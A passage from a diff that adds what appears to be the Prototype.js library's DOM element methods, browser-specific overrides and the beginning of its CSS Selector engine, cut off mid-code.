+  },
+
+  writeAttribute: function(element, name, value) {
+    element = $(element);
+    var attributes = { }, t = Element._attributeTranslations.write;
+
+    if (typeof name == 'object') attributes = name;
+    else attributes[name] = value === undefined ? true : value;
+
+    for (var attr in attributes) {
+      var name = t.names[attr] || attr, value = attributes[attr];
+      if (t.values[attr]) name = t.values[attr](element, value);
+      if (value === false || value === null)
+        element.removeAttribute(name);
+      else if (value === true)
+        element.setAttribute(name, name);
+      else element.setAttribute(name, value);
+    }
+    return element;
+  },
+
+  getHeight: function(element) {
+    return $(element).getDimensions().height;
+  },
+
+  getWidth: function(element) {
+    return $(element).getDimensions().width;
+  },
+
+  classNames: function(element) {
+    return new Element.ClassNames(element);
+  },
+
+  hasClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    var elementClassName = element.className;
+    return (elementClassName.length > 0 && (elementClassName == className ||
+      new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
+  },
+
+  addClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    if (!element.hasClassName(className))
+      element.className += (element.className ? ' ' : '') + className;
+    return element;
+  },
+
+  removeClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    element.className = element.className.replace(
+      new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' ').strip();
+    return element;
+  },
+
+  toggleClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    return element[element.hasClassName(className) ?
+      'removeClassName' : 'addClassName'](className);
+  },
+
+  // removes whitespace-only text node children
+  cleanWhitespace: function(element) {
+    element = $(element);
+    var node = element.firstChild;
+    while (node) {
+      var nextNode = node.nextSibling;
+      if (node.nodeType == 3 && !/\S/.test(node.nodeValue))
+        element.removeChild(node);
+      node = nextNode;
+    }
+    return element;
+  },
+
+  empty: function(element) {
+    return $(element).innerHTML.blank();
+  },
+
+  descendantOf: function(element, ancestor) {
+    element = $(element), ancestor = $(ancestor);
+
+    if (element.compareDocumentPosition)
+      return (element.compareDocumentPosition(ancestor) & 8) === 8;
+
+    if (element.sourceIndex && !Prototype.Browser.Opera) {
+      var e = element.sourceIndex, a = ancestor.sourceIndex,
+       nextAncestor = ancestor.nextSibling;
+      if (!nextAncestor) {
+        do { ancestor = ancestor.parentNode; }
+        while (!(nextAncestor = ancestor.nextSibling) && ancestor.parentNode);
+      }
+      if (nextAncestor) return (e > a && e < nextAncestor.sourceIndex);
+    }
+
+    while (element = element.parentNode)
+      if (element == ancestor) return true;
+    return false;
+  },
+
+  scrollTo: function(element) {
+    element = $(element);
+    var pos = element.cumulativeOffset();
+    window.scrollTo(pos[0], pos[1]);
+    return element;
+  },
+
+  getStyle: function(element, style) {
+    element = $(element);
+    style = style == 'float' ? 'cssFloat' : style.camelize();
+    var value = element.style[style];
+    if (!value) {
+      var css = document.defaultView.getComputedStyle(element, null);
+      value = css ? css[style] : null;
+    }
+    if (style == 'opacity') return value ? parseFloat(value) : 1.0;
+    return value == 'auto' ? null : value;
+  },
+
+  getOpacity: function(element) {
+    return $(element).getStyle('opacity');
+  },
+
+  setStyle: function(element, styles) {
+    element = $(element);
+    var elementStyle = element.style, match;
+    if (Object.isString(styles)) {
+      element.style.cssText += ';' + styles;
+      return styles.include('opacity') ?
+        element.setOpacity(styles.match(/opacity:\s*(\d?\.?\d*)/)[1]) : element;
+    }
+    for (var property in styles)
+      if (property == 'opacity') element.setOpacity(styles[property]);
+      else
+        elementStyle[(property == 'float' || property == 'cssFloat') ?
+          (elementStyle.styleFloat === undefined ? 'cssFloat' : 'styleFloat') :
+            property] = styles[property];
+
+    return element;
+  },
+
+  setOpacity: function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1 || value === '') ? '' :
+      (value < 0.00001) ? 0 : value;
+    return element;
+  },
+
+  getDimensions: function(element) {
+    element = $(element);
+    var display = $(element).getStyle('display');
+    if (display != 'none' && display != null) // Safari bug
+      return {width: element.offsetWidth, height: element.offsetHeight};
+
+    // All *Width and *Height properties give 0 on elements with display none,
+    // so enable the element temporarily
+    var els = element.style;
+    var originalVisibility = els.visibility;
+    var originalPosition = els.position;
+    var originalDisplay = els.display;
+    els.visibility = 'hidden';
+    els.position = 'absolute';
+    els.display = 'block';
+    var originalWidth = element.clientWidth;
+    var originalHeight = element.clientHeight;
+    els.display = originalDisplay;
+    els.position = originalPosition;
+    els.visibility = originalVisibility;
+    return {width: originalWidth, height: originalHeight};
+  },
+
+  makePositioned: function(element) {
+    element = $(element);
+    var pos = Element.getStyle(element, 'position');
+    if (pos == 'static' || !pos) {
+      element._madePositioned = true;
+      element.style.position = 'relative';
+      // Opera returns the offset relative to the positioning context, when an
+      // element is position relative but top and left have not been defined
+      if (window.opera) {
+        element.style.top = 0;
+        element.style.left = 0;
+      }
+    }
+    return element;
+  },
+
+  undoPositioned: function(element) {
+    element = $(element);
+    if (element._madePositioned) {
+      element._madePositioned = undefined;
+      element.style.position =
+        element.style.top =
+        element.style.left =
+        element.style.bottom =
+        element.style.right = '';
+    }
+    return element;
+  },
+
+  makeClipping: function(element) {
+    element = $(element);
+    if (element._overflow) return element;
+    element._overflow = Element.getStyle(element, 'overflow') || 'auto';
+    if (element._overflow !== 'hidden')
+      element.style.overflow = 'hidden';
+    return element;
+  },
+
+  undoClipping: function(element) {
+    element = $(element);
+    if (!element._overflow) return element;
+    element.style.overflow = element._overflow == 'auto' ? '' : element._overflow;
+    element._overflow = null;
+    return element;
+  },
+
+  cumulativeOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      element = element.offsetParent;
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  positionedOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      element = element.offsetParent;
+      if (element) {
+        if (element.tagName == 'BODY') break;
+        var p = Element.getStyle(element, 'position');
+        if (p == 'relative' || p == 'absolute') break;
+      }
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  absolutize: function(element) {
+    element = $(element);
+    if (element.getStyle('position') == 'absolute') return;
+    // Position.prepare(); // To be done manually by Scripty when it needs it.
+
+    var offsets = element.positionedOffset();
+    var top     = offsets[1];
+    var left    = offsets[0];
+    var width   = element.clientWidth;
+    var height  = element.clientHeight;
+
+    element._originalLeft   = left - parseFloat(element.style.left  || 0);
+    element._originalTop    = top  - parseFloat(element.style.top || 0);
+    element._originalWidth  = element.style.width;
+    element._originalHeight = element.style.height;
+
+    element.style.position = 'absolute';
+    element.style.top    = top + 'px';
+    element.style.left   = left + 'px';
+    element.style.width  = width + 'px';
+    element.style.height = height + 'px';
+    return element;
+  },
+
+  relativize: function(element) {
+    element = $(element);
+    if (element.getStyle('position') == 'relative') return;
+    // Position.prepare(); // To be done manually by Scripty when it needs it.
+
+    element.style.position = 'relative';
+    var top  = parseFloat(element.style.top  || 0) - (element._originalTop || 0);
+    var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0);
+
+    element.style.top    = top + 'px';
+    element.style.left   = left + 'px';
+    element.style.height = element._originalHeight;
+    element.style.width  = element._originalWidth;
+    return element;
+  },
+
+  cumulativeScrollOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.scrollTop  || 0;
+      valueL += element.scrollLeft || 0;
+      element = element.parentNode;
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  getOffsetParent: function(element) {
+    if (element.offsetParent) return $(element.offsetParent);
+    if (element == document.body) return $(element);
+
+    while ((element = element.parentNode) && element != document.body)
+      if (Element.getStyle(element, 'position') != 'static')
+        return $(element);
+
+    return $(document.body);
+  },
+
+  viewportOffset: function(forElement) {
+    var valueT = 0, valueL = 0;
+
+    var element = forElement;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+
+      // Safari fix
+      if (element.offsetParent == document.body &&
+        Element.getStyle(element, 'position') == 'absolute') break;
+
+    } while (element = element.offsetParent);
+
+    element = forElement;
+    do {
+      if (!Prototype.Browser.Opera || element.tagName == 'BODY') {
+        valueT -= element.scrollTop  || 0;
+        valueL -= element.scrollLeft || 0;
+      }
+    } while (element = element.parentNode);
+
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  clonePosition: function(element, source) {
+    var options = Object.extend({
+      setLeft:    true,
+      setTop:     true,
+      setWidth:   true,
+      setHeight:  true,
+      offsetTop:  0,
+      offsetLeft: 0
+    }, arguments[2] || { });
+
+    // find page position of source
+    source = $(source);
+    var p = source.viewportOffset();
+
+    // find coordinate system to use
+    element = $(element);
+    var delta = [0, 0];
+    var parent = null;
+    // delta [0,0] will do fine with position: fixed elements,
+    // position:absolute needs offsetParent deltas
+    if (Element.getStyle(element, 'position') == 'absolute') {
+      parent = element.getOffsetParent();
+      delta = parent.viewportOffset();
+    }
+
+    // correct by body offsets (fixes Safari)
+    if (parent == document.body) {
+      delta[0] -= document.body.offsetLeft;
+      delta[1] -= document.body.offsetTop;
+    }
+
+    // set position
+    if (options.setLeft)   element.style.left  = (p[0] - delta[0] + options.offsetLeft) + 'px';
+    if (options.setTop)    element.style.top   = (p[1] - delta[1] + options.offsetTop) + 'px';
+    if (options.setWidth)  element.style.width = source.offsetWidth + 'px';
+    if (options.setHeight) element.style.height = source.offsetHeight + 'px';
+    return element;
+  }
+};
+
+Element.Methods.identify.counter = 1;
+
+Object.extend(Element.Methods, {
+  getElementsBySelector: Element.Methods.select,
+  childElements: Element.Methods.immediateDescendants
+});
+
+Element._attributeTranslations = {
+  write: {
+    names: {
+      className: 'class',
+      htmlFor:   'for'
+    },
+    values: { }
+  }
+};
+
+
+if (!document.createRange || Prototype.Browser.Opera) {
+  Element.Methods.insert = function(element, insertions) {
+    element = $(element);
+
+    if (Object.isString(insertions) || Object.isNumber(insertions) ||
+        Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
+          insertions = { bottom: insertions };
+
+    var t = Element._insertionTranslations, content, position, pos, tagName;
+
+    for (position in insertions) {
+      content  = insertions[position];
+      position = position.toLowerCase();
+      pos      = t[position];
+
+      if (content && content.toElement) content = content.toElement();
+      if (Object.isElement(content)) {
+        pos.insert(element, content);
+        continue;
+      }
+
+      content = Object.toHTML(content);
+      tagName = ((position == 'before' || position == 'after')
+        ? element.parentNode : element).tagName.toUpperCase();
+
+      if (t.tags[tagName]) {
+        var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
+        if (position == 'top' || position == 'after') fragments.reverse();
+        fragments.each(pos.insert.curry(element));
+      }
+      else element.insertAdjacentHTML(pos.adjacency, content.stripScripts());
+
+      content.evalScripts.bind(content).defer();
+    }
+
+    return element;
+  };
+}
+
+if (Prototype.Browser.Opera) {
+  Element.Methods._getStyle = Element.Methods.getStyle;
+  Element.Methods.getStyle = function(element, style) {
+    switch(style) {
+      case 'left':
+      case 'top':
+      case 'right':
+      case 'bottom':
+        if (Element._getStyle(element, 'position') == 'static') return null;
+      default: return Element._getStyle(element, style);
+    }
+  };
+  Element.Methods._readAttribute = Element.Methods.readAttribute;
+  Element.Methods.readAttribute = function(element, attribute) {
+    if (attribute == 'title') return element.title;
+    return Element._readAttribute(element, attribute);
+  };
+}
+
+else if (Prototype.Browser.IE) {
+  $w('positionedOffset getOffsetParent viewportOffset').each(function(method) {
+    Element.Methods[method] = Element.Methods[method].wrap(
+      function(proceed, element) {
+        element = $(element);
+        var position = element.getStyle('position');
+        if (position != 'static') return proceed(element);
+        element.setStyle({ position: 'relative' });
+        var value = proceed(element);
+        element.setStyle({ position: position });
+        return value;
+      }
+    );
+  });
+
+  Element.Methods.getStyle = function(element, style) {
+    element = $(element);
+    style = (style == 'float' || style == 'cssFloat') ? 'styleFloat' : style.camelize();
+    var value = element.style[style];
+    if (!value && element.currentStyle) value = element.currentStyle[style];
+
+    if (style == 'opacity') {
+      if (value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/))
+        if (value[1]) return parseFloat(value[1]) / 100;
+      return 1.0;
+    }
+
+    if (value == 'auto') {
+      if ((style == 'width' || style == 'height') && (element.getStyle('display') != 'none'))
+        return element['offset' + style.capitalize()] + 'px';
+      return null;
+    }
+    return value;
+  };
+
+  Element.Methods.setOpacity = function(element, value) {
+    function stripAlpha(filter){
+      return filter.replace(/alpha\([^\)]*\)/gi,'');
+    }
+    element = $(element);
+    var currentStyle = element.currentStyle;
+    if ((currentStyle && !currentStyle.hasLayout) ||
+      (!currentStyle && element.style.zoom == 'normal'))
+        element.style.zoom = 1;
+
+    var filter = element.getStyle('filter'), style = element.style;
+    if (value == 1 || value === '') {
+      (filter = stripAlpha(filter)) ?
+        style.filter = filter : style.removeAttribute('filter');
+      return element;
+    } else if (value < 0.00001) value = 0;
+    style.filter = stripAlpha(filter) +
+      'alpha(opacity=' + (value * 100) + ')';
+    return element;
+  };
+
+  Element._attributeTranslations = {
+    read: {
+      names: {
+        'class': 'className',
+        'for':   'htmlFor'
+      },
+      values: {
+        _getAttr: function(element, attribute) {
+          return element.getAttribute(attribute, 2);
+        },
+        _getAttrNode: function(element, attribute) {
+          var node = element.getAttributeNode(attribute);
+          return node ? node.value : "";
+        },
+        _getEv: function(element, attribute) {
+          var attribute = element.getAttribute(attribute);
+          return attribute ? attribute.toString().slice(23, -2) : null;
+        },
+        _flag: function(element, attribute) {
+          return $(element).hasAttribute(attribute) ? attribute : null;
+        },
+        style: function(element) {
+          return element.style.cssText.toLowerCase();
+        },
+        title: function(element) {
+          return element.title;
+        }
+      }
+    }
+  };
+
+  Element._attributeTranslations.write = {
+    names: Object.clone(Element._attributeTranslations.read.names),
+    values: {
+      checked: function(element, value) {
+        element.checked = !!value;
+      },
+
+      style: function(element, value) {
+        element.style.cssText = value ? value : '';
+      }
+    }
+  };
+
+  Element._attributeTranslations.has = {};
+
+  $w('colSpan rowSpan vAlign dateTime accessKey tabIndex ' +
+      'encType maxLength readOnly longDesc').each(function(attr) {
+    Element._attributeTranslations.write.names[attr.toLowerCase()] = attr;
+    Element._attributeTranslations.has[attr.toLowerCase()] = attr;
+  });
+
+  (function(v) {
+    Object.extend(v, {
+      href:        v._getAttr,
+      src:         v._getAttr,
+      type:        v._getAttr,
+      action:      v._getAttrNode,
+      disabled:    v._flag,
+      checked:     v._flag,
+      readonly:    v._flag,
+      multiple:    v._flag,
+      onload:      v._getEv,
+      onunload:    v._getEv,
+      onclick:     v._getEv,
+      ondblclick:  v._getEv,
+      onmousedown: v._getEv,
+      onmouseup:   v._getEv,
+      onmouseover: v._getEv,
+      onmousemove: v._getEv,
+      onmouseout:  v._getEv,
+      onfocus:     v._getEv,
+      onblur:      v._getEv,
+      onkeypress:  v._getEv,
+      onkeydown:   v._getEv,
+      onkeyup:     v._getEv,
+      onsubmit:    v._getEv,
+      onreset:     v._getEv,
+      onselect:    v._getEv,
+      onchange:    v._getEv
+    });
+  })(Element._attributeTranslations.read.values);
+}
+
+else if (Prototype.Browser.Gecko && /rv:1\.8\.0/.test(navigator.userAgent)) {
+  Element.Methods.setOpacity = function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1) ? 0.999999 :
+      (value === '') ? '' : (value < 0.00001) ? 0 : value;
+    return element;
+  };
+}
+
+else if (Prototype.Browser.WebKit) {
+  Element.Methods.setOpacity = function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1 || value === '') ? '' :
+      (value < 0.00001) ? 0 : value;
+
+    if (value == 1)
+      if(element.tagName == 'IMG' && element.width) {
+        element.width++; element.width--;
+      } else try {
+        var n = document.createTextNode(' ');
+        element.appendChild(n);
+        element.removeChild(n);
+      } catch (e) { }
+
+    return element;
+  };
+
+  // Safari returns margins on body which is incorrect if the child is absolutely
+  // positioned.  For performance reasons, redefine Position.cumulativeOffset for
+  // KHTML/WebKit only.
+  Element.Methods.cumulativeOffset = function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      if (element.offsetParent == document.body)
+        if (Element.getStyle(element, 'position') == 'absolute') break;
+
+      element = element.offsetParent;
+    } while (element);
+
+    return Element._returnOffset(valueL, valueT);
+  };
+}
+
+if (Prototype.Browser.IE || Prototype.Browser.Opera) {
+  // IE and Opera are missing .innerHTML support for TABLE-related and SELECT elements
+  Element.Methods.update = function(element, content) {
+    element = $(element);
+
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) return element.update().insert(content);
+
+    content = Object.toHTML(content);
+    var tagName = element.tagName.toUpperCase();
+
+    if (tagName in Element._insertionTranslations.tags) {
+      $A(element.childNodes).each(function(node) { element.removeChild(node) });
+      Element._getContentFromAnonymousElement(tagName, content.stripScripts())
+        .each(function(node) { element.appendChild(node) });
+    }
+    else element.innerHTML = content.stripScripts();
+
+    content.evalScripts.bind(content).defer();
+    return element;
+  };
+}
+
+if (document.createElement('div').outerHTML) {
+  Element.Methods.replace = function(element, content) {
+    element = $(element);
+
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) {
+      element.parentNode.replaceChild(content, element);
+      return element;
+    }
+
+    content = Object.toHTML(content);
+    var parent = element.parentNode, tagName = parent.tagName.toUpperCase();
+
+    if (Element._insertionTranslations.tags[tagName]) {
+      var nextSibling = element.next();
+      var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
+      parent.removeChild(element);
+      if (nextSibling)
+        fragments.each(function(node) { parent.insertBefore(node, nextSibling) });
+      else
+        fragments.each(function(node) { parent.appendChild(node) });
+    }
+    else element.outerHTML = content.stripScripts();
+
+    content.evalScripts.bind(content).defer();
+    return element;
+  };
+}
+
+Element._returnOffset = function(l, t) {
+  var result = [l, t];
+  result.left = l;
+  result.top = t;
+  return result;
+};
+
+Element._getContentFromAnonymousElement = function(tagName, html) {
+  var div = new Element('div'), t = Element._insertionTranslations.tags[tagName];
+  div.innerHTML = t[0] + html + t[1];
+  t[2].times(function() { div = div.firstChild });
+  return $A(div.childNodes);
+};
+
+Element._insertionTranslations = {
+  before: {
+    adjacency: 'beforeBegin',
+    insert: function(element, node) {
+      element.parentNode.insertBefore(node, element);
+    },
+    initializeRange: function(element, range) {
+      range.setStartBefore(element);
+    }
+  },
+  top: {
+    adjacency: 'afterBegin',
+    insert: function(element, node) {
+      element.insertBefore(node, element.firstChild);
+    },
+    initializeRange: function(element, range) {
+      range.selectNodeContents(element);
+      range.collapse(true);
+    }
+  },
+  bottom: {
+    adjacency: 'beforeEnd',
+    insert: function(element, node) {
+      element.appendChild(node);
+    }
+  },
+  after: {
+    adjacency: 'afterEnd',
+    insert: function(element, node) {
+      element.parentNode.insertBefore(node, element.nextSibling);
+    },
+    initializeRange: function(element, range) {
+      range.setStartAfter(element);
+    }
+  },
+  tags: {
+    TABLE:  ['<table>',                '</table>',                   1],
+    TBODY:  ['<table><tbody>',         '</tbody></table>',           2],
+    TR:     ['<table><tbody><tr>',     '</tr></tbody></table>',      3],
+    TD:     ['<table><tbody><tr><td>', '</td></tr></tbody></table>', 4],
+    SELECT: ['<select>',               '</select>',                  1]
+  }
+};
+
+(function() {
+  this.bottom.initializeRange = this.top.initializeRange;
+  Object.extend(this.tags, {
+    THEAD: this.tags.TBODY,
+    TFOOT: this.tags.TBODY,
+    TH:    this.tags.TD
+  });
+}).call(Element._insertionTranslations);
+
+Element.Methods.Simulated = {
+  hasAttribute: function(element, attribute) {
+    attribute = Element._attributeTranslations.has[attribute] || attribute;
+    var node = $(element).getAttributeNode(attribute);
+    return node && node.specified;
+  }
+};
+
+Element.Methods.ByTag = { };
+
+Object.extend(Element, Element.Methods);
+
+if (!Prototype.BrowserFeatures.ElementExtensions &&
+    document.createElement('div').__proto__) {
+  window.HTMLElement = { };
+  window.HTMLElement.prototype = document.createElement('div').__proto__;
+  Prototype.BrowserFeatures.ElementExtensions = true;
+}
+
+Element.extend = (function() {
+  if (Prototype.BrowserFeatures.SpecificElementExtensions)
+    return Prototype.K;
+
+  var Methods = { }, ByTag = Element.Methods.ByTag;
+
+  var extend = Object.extend(function(element) {
+    if (!element || element._extendedByPrototype ||
+        element.nodeType != 1 || element == window) return element;
+
+    var methods = Object.clone(Methods),
+      tagName = element.tagName, property, value;
+
+    // extend methods for specific tags
+    if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]);
+
+    for (property in methods) {
+      value = methods[property];
+      if (Object.isFunction(value) && !(property in element))
+        element[property] = value.methodize();
+    }
+
+    element._extendedByPrototype = Prototype.emptyFunction;
+    return element;
+
+  }, {
+    refresh: function() {
+      // extend methods for all tags (Safari doesn't need this)
+      if (!Prototype.BrowserFeatures.ElementExtensions) {
+        Object.extend(Methods, Element.Methods);
+        Object.extend(Methods, Element.Methods.Simulated);
+      }
+    }
+  });
+
+  extend.refresh();
+  return extend;
+})();
+
+Element.hasAttribute = function(element, attribute) {
+  if (element.hasAttribute) return element.hasAttribute(attribute);
+  return Element.Methods.Simulated.hasAttribute(element, attribute);
+};
+
+Element.addMethods = function(methods) {
+  var F = Prototype.BrowserFeatures, T = Element.Methods.ByTag;
+
+  if (!methods) {
+    Object.extend(Form, Form.Methods);
+    Object.extend(Form.Element, Form.Element.Methods);
+    Object.extend(Element.Methods.ByTag, {
+      "FORM":     Object.clone(Form.Methods),
+      "INPUT":    Object.clone(Form.Element.Methods),
+      "SELECT":   Object.clone(Form.Element.Methods),
+      "TEXTAREA": Object.clone(Form.Element.Methods)
+    });
+  }
+
+  if (arguments.length == 2) {
+    var tagName = methods;
+    methods = arguments[1];
+  }
+
+  if (!tagName) Object.extend(Element.Methods, methods || { });
+  else {
+    if (Object.isArray(tagName)) tagName.each(extend);
+    else extend(tagName);
+  }
+
+  function extend(tagName) {
+    tagName = tagName.toUpperCase();
+    if (!Element.Methods.ByTag[tagName])
+      Element.Methods.ByTag[tagName] = { };
+    Object.extend(Element.Methods.ByTag[tagName], methods);
+  }
+
+  function copy(methods, destination, onlyIfAbsent) {
+    onlyIfAbsent = onlyIfAbsent || false;
+    for (var property in methods) {
+      var value = methods[property];
+      if (!Object.isFunction(value)) continue;
+      if (!onlyIfAbsent || !(property in destination))
+        destination[property] = value.methodize();
+    }
+  }
+
+  function findDOMClass(tagName) {
+    var klass;
+    var trans = {
+      "OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph",
+      "FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList",
+      "DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading",
+      "H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote",
+      "INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION":
+      "TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD":
+      "TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR":
+      "TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET":
+      "FrameSet", "IFRAME": "IFrame"
+    };
+    if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element';
+    if (window[klass]) return window[klass];
+    klass = 'HTML' + tagName + 'Element';
+    if (window[klass]) return window[klass];
+    klass = 'HTML' + tagName.capitalize() + 'Element';
+    if (window[klass]) return window[klass];
+
+    window[klass] = { };
+    window[klass].prototype = document.createElement(tagName).__proto__;
+    return window[klass];
+  }
+
+  if (F.ElementExtensions) {
+    copy(Element.Methods, HTMLElement.prototype);
+    copy(Element.Methods.Simulated, HTMLElement.prototype, true);
+  }
+
+  if (F.SpecificElementExtensions) {
+    for (var tag in Element.Methods.ByTag) {
+      var klass = findDOMClass(tag);
+      if (Object.isUndefined(klass)) continue;
+      copy(T[tag], klass.prototype);
+    }
+  }
+
+  Object.extend(Element, Element.Methods);
+  delete Element.ByTag;
+
+  if (Element.extend.refresh) Element.extend.refresh();
+  Element.cache = { };
+};
+
+document.viewport = {
+  getDimensions: function() {
+    var dimensions = { };
+    $w('width height').each(function(d) {
+      var D = d.capitalize();
+      dimensions[d] = self['inner' + D] ||
+       (document.documentElement['client' + D] || document.body['client' + D]);
+    });
+    return dimensions;
+  },
+
+  getWidth: function() {
+    return this.getDimensions().width;
+  },
+
+  getHeight: function() {
+    return this.getDimensions().height;
+  },
+
+  getScrollOffsets: function() {
+    return Element._returnOffset(
+      window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft,
+      window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop);
+  }
+};
+/* Portions of the Selector class are derived from Jack Slocumâs DomQuery,
+ * part of YUI-Ext version 0.40, distributed under the terms of an MIT-style
+ * license.  Please see http://www.yui-ext.com/ for more information. */
+
+var Selector = Class.create({
+  initialize: function(expression) {
+    this.expression = expression.strip();
+    this.compileMatcher();
+  },
+
+  compileMatcher: function() {
+    // Selectors with namespaced attributes can't use the XPath version
+    if (Prototype.BrowserFeatures.XPath && !(/(\[[\w-]*?:|:checked)/).test(this.expression))
+      return this.compileXPathMatcher();
+
+    var e = this.expression, ps = Selector.patterns, h = Selector.handlers,
+        c = Selector.criteria, le, p, m;
+
+    if (Selector._cache[e]) {
+      this.matcher = Selector._cache[e];
+      return;
+    }
+
+    this.matcher = ["this.matcher = function(root) {",
+                    "var r = root, h = Selector.handlers, c = false, n;"];
+
+    while (e && le != e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        p = ps[i];
+        if (m = e.match(p)) {
+          this.matcher.push(Object.isFunction(c[i]) ? c[i](m) :
+    	      new Template(c[i]).evaluate(m));
+          e = e.replace(m[0], '');
+          break;
+        }
+      }
+    }
+
+    this.matcher.push("return h.unique(n);\n}");
+    eval(this.matcher.join('\n'));
+    Selector._cache[this.expression] = this.matcher;
+  },
+
+  compileXPathMatcher: function() {
+    var e = this.expression, ps = Selector.patterns,
+        x = Selector.xpath, le, m;
+
+    if (Selector._cache[e]) {
+      this.xpath = Selector._cache[e]; return;
+    }
+
+    this.matcher = ['.//*'];
+    while (e && le != e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        if (m = e.match(ps[i])) {
+          this.matcher.push(Object.isFunction(x[i]) ? x[i](m) :
+            new Template(x[i]).evaluate(m));
+          e = e.replace(m[0], '');
+          break;
+        }
+      }
+    }
+
+    this.xpath = this.matcher.join('');
+    Selector._cache[this.expression] = this.xpath;
+  },
+
+  findElements: function(root) {
+    root = root || document;
+    if (this.xpath) return document._getElementsByXPath(this.xpath, root);
+    return this.matcher(root);
+  },
+
+  match: function(element) {
+    this.tokens = [];
+
+    var e = this.expression, ps = Selector.patterns, as = Selector.assertions;
+    var le, p, m;
+
+    while (e && le !== e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        p = ps[i];
+        if (m = e.match(p)) {
+          // use the Selector.assertions methods unless the selector
+          // is too complex.
+          if (as[i]) {
+            this.tokens.push([i, Object.clone(m)]);
+            e = e.replace(m[0], '');
+          } else {
+            // reluctantly do a document-wide search
+            // and look for a match in the array
+            return this.findElements(document).include(element);
+          }
+        }
+      }
+    }
+
+    var match = true, name, matches;
+    for (var i = 0, token; token = this.tokens[i]; i++) {
+      name = token[0], matches = token[1];
+      if (!Selector.assertions[name](element, matches)) {
+        match = false; break;
+      }
+    }
+
+    return match;
+  },
+
+  toString: function() {
+    return this.expression;
+  },
+
+  inspect: function() {
+    return "#<Selector:" + this.expression.inspect() + ">";
+  }
+});
+
+Object.extend(Selector, {
+  _cache: { },
+
+  xpath: {
+    descendant:   "//*",
+    child:        "/*",
+    adjacent:     "/following-sibling::*[1]",
+    laterSibling: '/following-sibling::*',
+    tagName:      function(m) {
+      if (m[1] == '*') return '';
+      return "[local-name()='" + m[1].toLowerCase() +
+             "' or local-name()='" + m[1].toUpperCase() + "']";
+    },
+    className:    "[contains(concat(' ', @class, ' '), ' #{1} ')]",
+    id:           "[@id='#{1}']",
+    attrPresence: "[@#{1}]",
+    attr: function(m) {
+      m[3] = m[5] || m[6];
+      return new Template(Selector.xpath.operators[m[2]]).evaluate(m);
+    },
+    pseudo: function(m) {
+      var h = Selector.xpath.pseudos[m[1]];
+      if (!h) return '';
+      if (Object.isFunction(h)) return h(m);
+      return new Template(Selector.xpath.pseudos[m[1]]).evaluate(m);
+    },
+    operators: {
+      '=':  "[@#{1}='#{3}']",
+      '!=': "[@#{1}!='#{3}']",
+      '^=': "[starts-with(@#{1}, '#{3}')]",
+      '$=': "[substring(@#{1}, (string-length(@#{1}) - string-length('#{3}') + 1))='#{3}']",
+      '*=': "[contains(@#{1}, '#{3}')]",
+      '~=': "[contains(concat(' ', @#{1}, ' '), ' #{3} ')]",
+      '|=': "[contains(concat('-', @#{1}, '-'), '-#{3}-')]"
+    },
+    pseudos: {
+      'first-child': '[not(preceding-sibling::*)]',
+      'last-child':  '[not(following-sibling::*)]',
+      'only-child':  '[not(preceding-sibling::* or following-sibling::*)]',
+      'empty':       "[count(*) = 0 and (count(text()) = 0 or translate(text(), ' \t\r\n', '') = '')]",
+      'checked':     "[@checked]",
+      'disabled':    "[@disabled]",
+      'enabled':     "[not(@disabled)]",
+      'not': function(m) {
+        var e = m[6], p = Selector.patterns,
+            x = Selector.xpath, le, m, v;
+
+        var exclusion = [];
+        while (e && le != e && (/\S/).test(e)) {
+          le = e;
+          for (var i in p) {
+            if (m = e.match(p[i])) {
+              v = Object.isFunction(x[i]) ? x[i](m) : new Template(x[i]).evaluate(m);
+              exclusion.push("(" + v.substring(1, v.length - 1) + ")");
+              e = e.replace(m[0], '');
+              break;
+            }
+          }
+        }
+        return "[not(" + exclusion.join(" and ") + ")]";
+      },
+      'nth-child':      function(m) {
+        return Selector.xpath.pseudos.nth("(count(./preceding-sibling::*) + 1) ", m);
+      },
+      'nth-last-child': function(m) {
